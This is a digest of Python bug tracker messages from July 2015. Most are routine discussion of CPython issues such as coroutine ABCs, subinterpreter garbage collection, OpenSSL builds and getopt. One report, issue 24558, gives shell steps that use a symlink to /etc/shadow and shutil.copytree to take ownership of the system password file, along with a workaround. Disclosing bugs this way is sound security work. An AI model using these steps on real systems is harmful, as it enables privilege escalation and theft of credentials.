bugs.python.org Fri Jul 3 07:07:59 2015 From: report at bugs.python.org (Tim Peters) Date: Fri, 03 Jul 2015 05:07:59 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1435900079.09.0.25910076027.issue24546@psf.upfronthosting.co.za> Tim Peters added the comment: Should also note that double rounding cannot account for the _original_ symptom here. Double rounding surprises on Intel chips require an exact product at least 65 bits wide, but the OP's sequence is far too short to create such a product. (Steven's 2049 just barely requires 12 bits, which when multiplied by a 53-bit value can require 12+53 = 65 bits to hold the full product.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 07:09:43 2015 From: report at bugs.python.org (Steve Dower) Date: Fri, 03 Jul 2015 05:09:43 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2b In-Reply-To: <1434035125.5.0.134115065072.issue24432@psf.upfronthosting.co.za> Message-ID: <1435900183.53.0.388676677147.issue24432@psf.upfronthosting.co.za> Steve Dower added the comment: I'll give it a shot tomorrow. Haven't done it before (not even sure I have the svn.p.o permissions). Do I still need Perl for this? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 07:12:44 2015 From: report at bugs.python.org (Roundup Robot) Date: Fri, 03 Jul 2015 05:12:44 +0000 Subject: [issue19235] Add a dedicated subclass for recursion errors In-Reply-To: <1381596107.9.0.320701037292.issue19235@psf.upfronthosting.co.za> Message-ID: <20150703051241.8473.57611@psf.io> Roundup Robot added the comment: New changeset a795cf73ce6f by Yury Selivanov in branch '3.5': Issue #19235: Add new RecursionError exception. Patch by Georg Brandl. https://hg.python.org/cpython/rev/a795cf73ce6f New changeset 749d74e5dfa7 by Yury Selivanov in branch 'default': Merge 3.5 (Issue #19235) https://hg.python.org/cpython/rev/749d74e5dfa7 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 07:18:28 2015 From: report at bugs.python.org (Yury Selivanov) Date: Fri, 03 Jul 2015 05:18:28 +0000 Subject: [issue19235] Add a dedicated subclass for recursion errors In-Reply-To: <1381596107.9.0.320701037292.issue19235@psf.upfronthosting.co.za> Message-ID: <1435900708.9.0.157372407121.issue19235@psf.upfronthosting.co.za> Yury Selivanov added the comment: Thanks Larry and Georg! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 07:25:04 2015 From: report at bugs.python.org (Zachary Ware) Date: Fri, 03 Jul 2015 05:25:04 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2b In-Reply-To: <1435900183.53.0.388676677147.issue24432@psf.upfronthosting.co.za> Message-ID: Zachary Ware added the comment: Yes, you'll need Perl, NASM, and svn on PATH. I tried to send you an email about this a week or two ago, did I not get it sent or did it go awry? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 07:28:05 2015 From: report at bugs.python.org (Yury Selivanov) Date: Fri, 03 Jul 2015 05:28:05 +0000 Subject: [issue24400] Awaitable ABC incompatible with functools.singledispatch In-Reply-To: <1433653613.86.0.241600441921.issue24400@psf.upfronthosting.co.za> Message-ID: <1435901285.73.0.645336828546.issue24400@psf.upfronthosting.co.za> Yury Selivanov added the comment: Guido, Ben, Stefan, Nick, I want to re-open this issue. I'm still not satisfied with the current state of things, mainly with the __instancecheck__ hack for Awaitable & Coroutine ABCs (as Ben initially suggested). I think we should remove the __instancecheck__ from the ABCs, and resurrect inspect.isawaitable() function: 1. abc.Coroutine and abc.Awaitable will guarantee that objects that implement them have '__await__' and it's safe to access it (that means that they will fail for generator-based coroutines). 2. inspect.isgenerator() can be used along with inspect.isawaitable() to detect generator-based coroutines (generators with CO_ITERABLE_COROUTINE flag). ---------- resolution: fixed -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 08:20:15 2015 From: report at bugs.python.org (bee13oy) Date: Fri, 03 Jul 2015 06:20:15 +0000 Subject: [issue24555] Python logic error when deal with re and muti-threading Message-ID: <1435904415.54.0.666966497229.issue24555@psf.upfronthosting.co.za> New submission from bee13oy: Bug 0x01 is the main problem. t.start() t.join(timeout) In normal case, I run a while() in sub-thread, the main thread will get the control of the program after the sub-thread is timed out. But, in our POC, even the sub-thread timed out, the main thread still can't execute continue. After analyzing, I found the main thread trapped into an infinite loop like I described in the PDF. ---------- components: Regular Expressions files: python_logic_error.pdf messages: 246138 nosy: bee13oy, ezio.melotti, mrabarnett priority: normal severity: normal status: open title: Python logic error when deal with re and muti-threading type: behavior versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5 Added file: http://bugs.python.org/file39850/python_logic_error.pdf _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 08:23:22 2015 From: report at bugs.python.org (Stefan Behnel) Date: Fri, 03 Jul 2015 06:23:22 +0000 Subject: [issue24325] Speedup types.coroutine() In-Reply-To: <1432916607.38.0.641720588714.issue24325@psf.upfronthosting.co.za> Message-ID: <1435904602.72.0.552061743629.issue24325@psf.upfronthosting.co.za> Stefan Behnel added the comment: This is not purely about speeding up the code. It's also about avoiding to replace the code object of a function, which is essentially a big and clumsy hack only to achieve setting a flag. Some tools, namely line_profiler, use the current code object as a dict key for state keeping. Replacing the reference in "__code__" might confuse them if they happened to catch a reference before. That's why I asked for applying at least the simple patch that sets the flag with a C level helper function. But I'd be ok with applying the latest patch as it is. The non-flag-setting parts are simple and a straight forward translation of the current Python code. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 08:41:54 2015 From: report at bugs.python.org (Stefan Behnel) Date: Fri, 03 Jul 2015 06:41:54 +0000 Subject: [issue24400] Awaitable ABC incompatible with functools.singledispatch In-Reply-To: <1435901285.73.0.645336828546.issue24400@psf.upfronthosting.co.za> Message-ID: <55962EAF.9050506@behnel.de> Stefan Behnel added the comment: > 1. abc.Coroutine and abc.Awaitable will guarantee that objects that implement them have '__await__' and it's safe to access it (that means that they will fail for generator-based coroutines). Absolutely. That was the main theme behind the whole type split. > 2. inspect.isgenerator() can be used along with inspect.isawaitable() to detect generator-based coroutines (generators with CO_ITERABLE_COROUTINE flag). I still don't like the idea of having an inspect.isawaitable() that only checks for an ABC. If you want an ABC test, say it in your code. If you want to test for an "__await__" attribute, say it. A helper function inspect.isawaitable() suggests that there is some (builtin) type to inspect here, not a protocol. ABCs are about abstract protocols, inspect is about concrete types. If you want to cover the "iterable coroutine" case, why not add an inspect helper function for that? That's clearly a concrete type (even more concrete than a concrete type) that can be inspected. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 08:46:55 2015 From: report at bugs.python.org (Yury Selivanov) Date: Fri, 03 Jul 2015 06:46:55 +0000 Subject: [issue24400] Awaitable ABC incompatible with functools.singledispatch In-Reply-To: <1433653613.86.0.241600441921.issue24400@psf.upfronthosting.co.za> Message-ID: <1435906015.21.0.22602945491.issue24400@psf.upfronthosting.co.za> Yury Selivanov added the comment: > If you want to cover the "iterable coroutine" case, why not add an inspect > helper function for that? That's clearly a concrete type (even more > concrete than a concrete type) that can be inspected. Because I view "iterable coroutines" as a temporary, transitional thing. 'inspect.isawaitable()' might be useful in the future even when we remove CO_ITERABLE_COROUTINE. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 09:26:50 2015 From: report at bugs.python.org (Mark Shannon) Date: Fri, 03 Jul 2015 07:26:50 +0000 Subject: [issue24325] Speedup types.coroutine() In-Reply-To: <1432916607.38.0.641720588714.issue24325@psf.upfronthosting.co.za> Message-ID: <1435908410.89.0.413614505699.issue24325@psf.upfronthosting.co.za> Mark Shannon added the comment: Does this have a measurable performance impact? I'd be surprised if it did. W.r.t. to profiling, the undecorated form will never be visible to any code other than the decorator, so won't show up in the profiler. ---------- nosy: +Mark.Shannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 09:34:02 2015 From: report at bugs.python.org (Tim Golden) Date: Fri, 03 Jul 2015 07:34:02 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2b In-Reply-To: Message-ID: <55963AE5.8020803@timgolden.me.uk> Tim Golden added the comment: Zach, is there a write-up in the devguide for how to do this? And/or could you send me the same email, please? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 09:45:18 2015 From: report at bugs.python.org (paul) Date: Fri, 03 Jul 2015 07:45:18 +0000 Subject: [issue24407] Use after free in PyDict_merge In-Reply-To: <1433764625.15.0.894965258929.issue24407@psf.upfronthosting.co.za> Message-ID: <1435909518.5.0.796928662971.issue24407@psf.upfronthosting.co.za> paul added the comment: ping ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 09:45:44 2015 From: report at bugs.python.org (paul) Date: Fri, 03 Jul 2015 07:45:44 +0000 Subject: [issue24103] Use after free in xmlparser_setevents (1) In-Reply-To: <1430489715.59.0.155743746692.issue24103@psf.upfronthosting.co.za> Message-ID: <1435909544.43.0.68034996132.issue24103@psf.upfronthosting.co.za> paul added the comment: ping ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 09:45:54 2015 From: report at bugs.python.org (paul) Date: Fri, 03 Jul 2015 07:45:54 +0000 Subject: [issue24104] Use after free in xmlparser_setevents (2) In-Reply-To: <1430489742.91.0.610954411273.issue24104@psf.upfronthosting.co.za> Message-ID: <1435909554.76.0.484547009173.issue24104@psf.upfronthosting.co.za> paul added the comment: ping ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 09:46:07 2015 From: report at bugs.python.org (paul) Date: Fri, 03 Jul 2015 07:46:07 +0000 Subject: [issue24098] Multiple use after frees in obj2ast_* methods In-Reply-To: <1430489429.65.0.587999729774.issue24098@psf.upfronthosting.co.za> Message-ID: <1435909567.45.0.314507226303.issue24098@psf.upfronthosting.co.za> paul added the comment: ping ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 09:47:30 2015 From: report at bugs.python.org (Stefan Behnel) Date: Fri, 03 Jul 2015 07:47:30 +0000 Subject: [issue24325] Speedup types.coroutine() In-Reply-To: <1435908410.89.0.413614505699.issue24325@psf.upfronthosting.co.za> Message-ID: <55963E10.9000103@behnel.de> Stefan Behnel added the comment: > the undecorated form will never be visible to any code other than the decorator Assuming that 1) it's the first and/or only decorator, 2) it's used to decorate a generator function that returns its own generator and 3) it's really used as a decorator and not as a general helper function to safely wrap some object that was created somewhere else. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 10:10:52 2015 From: report at bugs.python.org (Nick Coghlan) Date: Fri, 03 Jul 2015 08:10:52 +0000 Subject: [issue24553] improve test coverage for subinterpreters In-Reply-To: <1435883403.8.0.344718256458.issue24553@psf.upfronthosting.co.za> Message-ID: <1435911052.87.0.560256253636.issue24553@psf.upfronthosting.co.za> Nick Coghlan added the comment: There are some basic tests in test_capi as well: * https://hg.python.org/cpython/file/09b223827f63/Lib/test/test_capi.py#l344 * https://hg.python.org/cpython/file/default/Programs/_testembed.c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 10:27:36 2015 From: report at bugs.python.org (Nick Coghlan) Date: Fri, 03 Jul 2015 08:27:36 +0000 Subject: [issue24400] Awaitable ABC incompatible with functools.singledispatch In-Reply-To: <1433653613.86.0.241600441921.issue24400@psf.upfronthosting.co.za> Message-ID: <1435912056.88.0.0911345307794.issue24400@psf.upfronthosting.co.za> Nick Coghlan added the comment: "might be useful in the future" is an API design red flag that suggests to me we may not know what "good" looks like here yet. At the same time, we need something Tornado et al can use to accept the "can be used with await expressions, but doesn't implement the Awaitable protocol" types. However, I think we can actually evaluate the consequences of two alternative designs, and decide based on the implications: a) Add "inspect.isawaitable(obj)", tell people to use that over checking just the ABC, since an interpreter may allow more types than just Awaitable instances. b) Add an "inspect._islegacyawaitable(obj)" API, and tell people to use "isinstance(obj, Awaitable) or inspect._islegacyawaitable(obj)", rather than just checking the ABC. I think it makes sense to document that there are types acceptable to the "await" expression that don't implement the Awaitable protocol, just as there are types acceptable to iter() that don't implement the Iterable protocol: >>> class Seq: ... def __getitem__(self, idx): ... raise IndexError ... >>> iter(Seq()) >>> import collections >>> isinstance(Seq(), collections.Iterable) False In 3.6, we can add an API like "operator.getfuture()" to expose the implementation of the "retrieve a future from an awaitable" part of the await expression to Python so folks can switch to a "try it and see if it works" approach, rather than having to check with the inspect module. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 10:46:11 2015 From: report at bugs.python.org (Petr Viktorin) Date: Fri, 03 Jul 2015 08:46:11 +0000 Subject: [issue24458] Documentation for PEP 489 In-Reply-To: <1434452866.14.0.181014085851.issue24458@psf.upfronthosting.co.za> Message-ID: <1435913170.99.0.280292800442.issue24458@psf.upfronthosting.co.za> Petr Viktorin added the comment: Thanks for the review. I've added the explanation you suggested, and I've made the names monospace (or linked them, where it seemed appropriate). I've also marked *NULL*s like in the rest of the doc. ---------- Added file: http://bugs.python.org/file39851/pep489-docs.2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 10:46:53 2015 From: report at bugs.python.org (Nick Coghlan) Date: Fri, 03 Jul 2015 08:46:53 +0000 Subject: [issue24400] Awaitable ABC incompatible with functools.singledispatch In-Reply-To: <1433653613.86.0.241600441921.issue24400@psf.upfronthosting.co.za> Message-ID: <1435913213.5.0.976354741947.issue24400@psf.upfronthosting.co.za> Nick Coghlan added the comment: Sorry, I forgot to state my main conclusion in comparing the consequences of adding "inspect.isawaitable" vs adding an API specifically for checking "isn't Awaitable, but can be used in an await expression": I think we should add "inspect.isawaitable()", and have it pass for *anything* that can be used in an await expression (whether that's by implementing the Awaitable protocol, or due to special casing at the interpreter level). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 11:32:15 2015 From: report at bugs.python.org (Jak) Date: Fri, 03 Jul 2015 09:32:15 +0000 Subject: [issue24556] Getopt overwrites variables unexpectedly Message-ID: <1435915935.53.0.130423360276.issue24556@psf.upfronthosting.co.za> New submission from Jak: The getopt library has, what I assume is, some unexpected behaviour when adding extra text to command line parameter that getopt expects as a flag. Using input parameters a, b and c as an example below, where a and b both take values and c is a flag. Example code: options, remainders = getopt.getopt(sys.argv[1:], "a:b:c") Normal output is given when you supply sensible values for a, b and c: Input: -a value1 -b value2 -c Output: [('-a', 'value1'), ('-b', 'value2'), ('-c', '')] Unexpected output happens when you give extra text after the '-c' that begins with a letter matching that of a previous parameter: Input -a value1 -b value2 -cbanana Output: [('-a', 'value1'), ('-b', 'value2'), ('-c', ''), ('-b', 'anana')] Looping through the output variables, as most example programs do, results in the value for '-b' being over-written. ---------- components: Library (Lib) messages: 246153 nosy: Jak priority: normal severity: normal status: open title: Getopt overwrites variables unexpectedly type: behavior versions: Python 2.7, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 11:52:18 2015 From: report at bugs.python.org (Roundup Robot) Date: Fri, 03 Jul 2015 09:52:18 +0000 Subject: [issue24458] Documentation for PEP 489 In-Reply-To: <1434452866.14.0.181014085851.issue24458@psf.upfronthosting.co.za> Message-ID: <20150703095215.27420.98466@psf.io> Roundup Robot added the comment: New changeset bad92d696866 by Nick Coghlan in branch '3.5': Close #24458: PEP 489 documentation https://hg.python.org/cpython/rev/bad92d696866 New changeset 86daa37c1cc9 by Nick Coghlan in branch 'default': Merge fix for #24458 from 3.5 https://hg.python.org/cpython/rev/86daa37c1cc9 ---------- nosy: +python-dev resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 11:54:38 2015 From: report at bugs.python.org (Nick Coghlan) Date: Fri, 03 Jul 2015 09:54:38 +0000 Subject: [issue24458] Documentation for PEP 489 In-Reply-To: <1434452866.14.0.181014085851.issue24458@psf.upfronthosting.co.za> Message-ID: <1435917278.08.0.0249027359139.issue24458@psf.upfronthosting.co.za> Nick Coghlan added the comment: Thanks and, as you can see, merged :) Am I correct in thinking these docs were the only item remaining for PEP 489? ---------- resolution: fixed -> stage: resolved -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 12:02:18 2015 From: report at bugs.python.org (Petr Viktorin) Date: Fri, 03 Jul 2015 10:02:18 +0000 Subject: [issue24458] Documentation for PEP 489 In-Reply-To: <1434452866.14.0.181014085851.issue24458@psf.upfronthosting.co.za> Message-ID: <1435917738.6.0.844876801633.issue24458@psf.upfronthosting.co.za> Petr Viktorin added the comment: Yes! Aside from the callback problem, which is left for another PEP, but limits PEP 489 usefulness in the real world :( It turns out that one is quite a rabbit hole. I'll post my findings on that soon-ish. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 12:25:16 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Fri, 03 Jul 2015 10:25:16 +0000 Subject: [issue24554] GC should happen when a subinterpreter is destroyed In-Reply-To: <1435884077.54.0.517018915499.issue24554@psf.upfronthosting.co.za> Message-ID: <1435919116.19.0.971501660406.issue24554@psf.upfronthosting.co.za> Antoine Pitrou added the comment: What is that supposed to demonstrate? GC is a global operation and is not tied to subinterpreters: GC may happen in any interpreter, not necessarily the one where the resource was allocated. ---------- nosy: +pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 12:30:53 2015 From: report at bugs.python.org (Graham Dumpleton) Date: Fri, 03 Jul 2015 10:30:53 +0000 Subject: [issue24554] GC should happen when a subinterpreter is destroyed In-Reply-To: <1435884077.54.0.517018915499.issue24554@psf.upfronthosting.co.za> Message-ID: <1435919453.43.0.466802693172.issue24554@psf.upfronthosting.co.za> Graham Dumpleton added the comment: That GC happens on an object in the wrong interpreter in this case is the problem as it can result in used code execution against the wrong interpreter context. If you are saying this can happen anytime in the life of a sub interpreter and not just in this case of when a sub interpreter is destroyed followed by destruction of the main interpreter, then that is an even bigger flaw. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 12:36:20 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Fri, 03 Jul 2015 10:36:20 +0000 Subject: [issue24554] GC should happen when a subinterpreter is destroyed In-Reply-To: <1435884077.54.0.517018915499.issue24554@psf.upfronthosting.co.za> Message-ID: <1435919780.7.0.784081268085.issue24554@psf.upfronthosting.co.za> Antoine Pitrou added the comment: It's just a consequence of subinterpreters not being isolated contexts. They're sharing of lot of stuff by construction (hence being called "subinterpreters"). And indeed some resource can become unreachable in a subinterpreter, and collected from another, if the resource is part of a reference cycle. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 12:41:18 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Fri, 03 Jul 2015 10:41:18 +0000 Subject: [issue24554] GC should happen when a subinterpreter is destroyed In-Reply-To: <1435884077.54.0.517018915499.issue24554@psf.upfronthosting.co.za> Message-ID: <1435920078.51.0.140045861865.issue24554@psf.upfronthosting.co.za> Antoine Pitrou added the comment: I don't think this is a very important issue, by the way. Normal destructors will usually rely on resources on their global environment, i.e. the function's globals or builtins dict, which will point to the right namespace. Only if you are explicitly looking up something on the interpreter (or using e.g. thread-local storage... but relying on thread-local storage in a destructor is already broken anyway) will you see such discrepancies. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 12:45:40 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Fri, 03 Jul 2015 10:45:40 +0000 Subject: [issue24554] GC should happen when a subinterpreter is destroyed In-Reply-To: <1435884077.54.0.517018915499.issue24554@psf.upfronthosting.co.za> Message-ID: <1435920340.05.0.437910037862.issue24554@psf.upfronthosting.co.za> Antoine Pitrou added the comment: >From a quick look at the PyInterpreterState, stuff that may be risky to rely on: - mutable data from the sys module (mainly import-related data: sys.path, sys.meta_path, etc.) - codecs registry metadata Of course third-party modules (C extensions) may key additional data on the current interpreter, but I can't think of any stdlib module that does. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 12:48:11 2015 From: report at bugs.python.org (Graham Dumpleton) Date: Fri, 03 Jul 2015 10:48:11 +0000 Subject: [issue24554] GC should happen when a subinterpreter is destroyed In-Reply-To: <1435884077.54.0.517018915499.issue24554@psf.upfronthosting.co.za> Message-ID: <1435920491.75.0.201410625385.issue24554@psf.upfronthosting.co.za> Graham Dumpleton added the comment: If this issue with GC can't be addressed and sub interpreters isolated better, then there is no point pursing then the idea that has been raised at the language summit of giving each sub interpreter its own GIL and then provide mechanisms to allow code executing in one sub interpreter to delegate other code to run in the context of a different sub interpreter, thus allowing effective use of multi core systems. That was the bigger goal and this was one of the issues which would need to be fixed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 13:00:16 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Fri, 03 Jul 2015 11:00:16 +0000 Subject: [issue24554] GC should happen when a subinterpreter is destroyed In-Reply-To: <1435884077.54.0.517018915499.issue24554@psf.upfronthosting.co.za> Message-ID: <1435921216.89.0.764298557491.issue24554@psf.upfronthosting.co.za> Antoine Pitrou added the comment: I don't have any opinion on whether this issue kills the "parallelism with sub-interpreters" idea (I'm not sure why it would). But regardless, solving this issue will be very non-trivial, or perhaps very involved. Running the GC at the end of a subinterpreter certainly won't solve the general problem of objects becoming unreachable in an interpreter (i.e. the last external reference being lost in that interpreter) and collected by the cyclic GC from another. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 13:00:35 2015 From: report at bugs.python.org (Stefan Krah) Date: Fri, 03 Jul 2015 11:00:35 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1435921235.15.0.779369903354.issue24546@psf.upfronthosting.co.za> Stefan Krah added the comment: Just to defend gcc. :) I still cannot reproduce Steven's problem even with the C example and -m32. Steven's gcc [GCC 4.1.2 20080704 (Red Hat 4.1.2-52)] is very old and probably has quite a lot of distro patches. I'd try a modern vanilla version. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 13:12:25 2015 From: report at bugs.python.org (Graham Dumpleton) Date: Fri, 03 Jul 2015 11:12:25 +0000 Subject: [issue24554] GC should happen when a subinterpreter is destroyed In-Reply-To: <1435884077.54.0.517018915499.issue24554@psf.upfronthosting.co.za> Message-ID: <1435921945.94.0.98691274021.issue24554@psf.upfronthosting.co.za> Graham Dumpleton added the comment: Right now mod_wsgi is the main user of sub interpreters. I wasn't even aware of this issue until Jesse found it. Thus in 7+ years, it never presented a problem in practice, possibly because in mod_wsgi sub interpreters are only ever destroyed on process shutdown and causing an issue at that point or a process crash was not noticed and tolerable If however you are going to implement the "parallelism with sub-interpreters' idea you are making the possibility of encountering problems much more prevalent because you will likely have many more people using the feature, plus that a sub interpreter may be ephemeral and not necessarily kept around for the life of process, but destroyed at any time thus more readily pushing GC of objects into a different sub interpreter context if that is what can occur now. It therefore seems to me that this would open up a huge can of worms if left to work as it does now with users seeing all sorts of unexpected behaviour if not very careful. Also, for GC of objects to be able to be done in a different interpreter context seems to suggest to me that the global GIL for whole process couldn't be eliminated in the first place. So at this I point can't see how you could move to a separate GIL for each interpreter context, if GC for each interpreter can't be separated easily or at all. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 13:35:07 2015 From: report at bugs.python.org (Nick Coghlan) Date: Fri, 03 Jul 2015 11:35:07 +0000 Subject: [issue24554] GC should happen when a subinterpreter is destroyed In-Reply-To: <1435884077.54.0.517018915499.issue24554@psf.upfronthosting.co.za> Message-ID: <1435923307.17.0.236177037918.issue24554@psf.upfronthosting.co.za> Nick Coghlan added the comment: We already knew that reference count management was likely to be one of the thorniest problems with allowing true subinterpreter level concurrency, this issue just reminds us that the cyclic GC is going to be a challenge as well. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 13:37:15 2015 From: report at bugs.python.org (marxin) Date: Fri, 03 Jul 2015 11:37:15 +0000 Subject: [issue24543] Configure script wrongly detects x64/x87/mc68881 with -flto option passed In-Reply-To: <1435747274.99.0.734466851501.issue24543@psf.upfronthosting.co.za> Message-ID: <1435923435.41.0.706961623461.issue24543@psf.upfronthosting.co.za> marxin added the comment: Works for me. Thanks! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 13:57:19 2015 From: report at bugs.python.org (Geert Jansen) Date: Fri, 03 Jul 2015 11:57:19 +0000 Subject: [issue24334] SSLSocket extra level of indirection In-Reply-To: <1433018248.44.0.756605302302.issue24334@psf.upfronthosting.co.za> Message-ID: <1435924639.22.0.482949260087.issue24334@psf.upfronthosting.co.za> Geert Jansen added the comment: Apologies for the late reply. I made SSLSocket go through SSLObject so that the test suite that is primarily testing SSLSocket will test both. Also, this layering allows us to define some non-networked operations (such as SSL certificate checking and channel binding types) in a single location rather than duplicating them between SSLSocket and SSLObject. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 14:32:31 2015 From: report at bugs.python.org (Bernard Spil) Date: Fri, 03 Jul 2015 12:32:31 +0000 Subject: [issue24557] Refactor LibreSSL / EGD detection Message-ID: <1435926751.49.0.18395819216.issue24557@psf.upfronthosting.co.za> New submission from Bernard Spil: LibreSSL added a define OPENSSL_NO_EGD to their headers in version 2.2.0 in line with the defines of the other removed features. These patches remove detection of RAND_egd from configure and replace the detection in the source code. ---------- messages: 246169 nosy: spil priority: normal severity: normal status: open title: Refactor LibreSSL / EGD detection type: enhancement versions: Python 2.7, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 14:36:21 2015 From: report at bugs.python.org (Bernard Spil) Date: Fri, 03 Jul 2015 12:36:21 +0000 Subject: [issue24557] Refactor LibreSSL / EGD detection In-Reply-To: <1435926751.49.0.18395819216.issue24557@psf.upfronthosting.co.za> Message-ID: <1435926981.17.0.723126824803.issue24557@psf.upfronthosting.co.za> Changes by Bernard Spil : Added file: http://bugs.python.org/file39852/patch-RAND_egd _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 14:39:30 2015 From: report at bugs.python.org (Bernard Spil) Date: Fri, 03 Jul 2015 12:39:30 +0000 Subject: [issue24557] Refactor LibreSSL / EGD detection In-Reply-To: <1435926751.49.0.18395819216.issue24557@psf.upfronthosting.co.za> Message-ID: <1435927170.43.0.289324438461.issue24557@psf.upfronthosting.co.za> Changes by Bernard Spil : ---------- versions: +Python 3.3, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 14:41:13 2015 From: report at bugs.python.org (koobs) Date: Fri, 03 Jul 2015 12:41:13 +0000 Subject: [issue24557] Refactor LibreSSL / EGD detection In-Reply-To: <1435926751.49.0.18395819216.issue24557@psf.upfronthosting.co.za> Message-ID: <1435927272.99.0.0936607468863.issue24557@psf.upfronthosting.co.za> Changes by koobs : ---------- components: +Build, Library (Lib) keywords: +easy, needs review nosy: +koobs _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 14:41:25 2015 From: report at bugs.python.org (SpaceOne) Date: Fri, 03 Jul 2015 12:41:25 +0000 Subject: [issue24558] shutil.copytree with symlinks=True opens vulnerabilities Message-ID: <1435927285.75.0.961526406644.issue24558@psf.upfronthosting.co.za> New submission from SpaceOne: shutil.copytree(src, dst, symlink=True) destroys file system permissions and open security issues. See the following python/bash session: # ls -l /etc/shadow -rw-r----- 1 root shadow 1114 May 8 19:10 /etc/shadow # su foobar $ ln -s /etc/shadow && exit # python -c '__import__("shutil").copytree('/home/', '/backups/home', symlinks=True) # ls -l /etc/shadow -rw-r----- 1 foobar Domain Users 1114 Mai 8 19:10 /etc/shadow As you can see the file "/etc/shadow" is now owned by the user "foobar" and its primary group. ---------- components: Distutils messages: 246170 nosy: dstufft, eric.araujo, spaceone priority: normal severity: normal status: open title: shutil.copytree with symlinks=True opens vulnerabilities type: security _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 14:43:38 2015 From: report at bugs.python.org (SpaceOne) Date: Fri, 03 Jul 2015 12:43:38 +0000 Subject: [issue24558] shutil.copytree with symlinks=True opens vulnerabilities In-Reply-To: <1435927285.75.0.961526406644.issue24558@psf.upfronthosting.co.za> Message-ID: <1435927418.71.0.905435090867.issue24558@psf.upfronthosting.co.za> SpaceOne added the comment: my workaround is: import os.path def ignore(src, names): return [name for name in names if os.path.islink(os.path.join(src, name))] shutil.copytree(src, dst, ignore=ignore) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 15:08:07 2015 From: report at bugs.python.org (Zachary Ware) Date: Fri, 03 Jul 2015 13:08:07 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2b In-Reply-To: <55963AE5.8020803@timgolden.me.uk> Message-ID: Zachary Ware added the comment: Not yet and yes :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 15:14:51 2015 From: report at bugs.python.org (Gino Lee) Date: Fri, 03 Jul 2015 13:14:51 +0000 Subject: [issue24559] online Python docs scroll in a godawful ugly fashion Message-ID: <1435929291.54.0.891103276914.issue24559@psf.upfronthosting.co.za> New submission from Gino Lee: Example: https://docs.python.org/2/library/re.html# If you start scrolling down, the left panel updates in a horribly jerky and ugly fashion. It's distracting, annoying, and it makes the site look very amateurishly constructed. At the very least, just keep the panel fixed and unmoving -- just let the user scroll it as he/she needs to. This is on Chrome 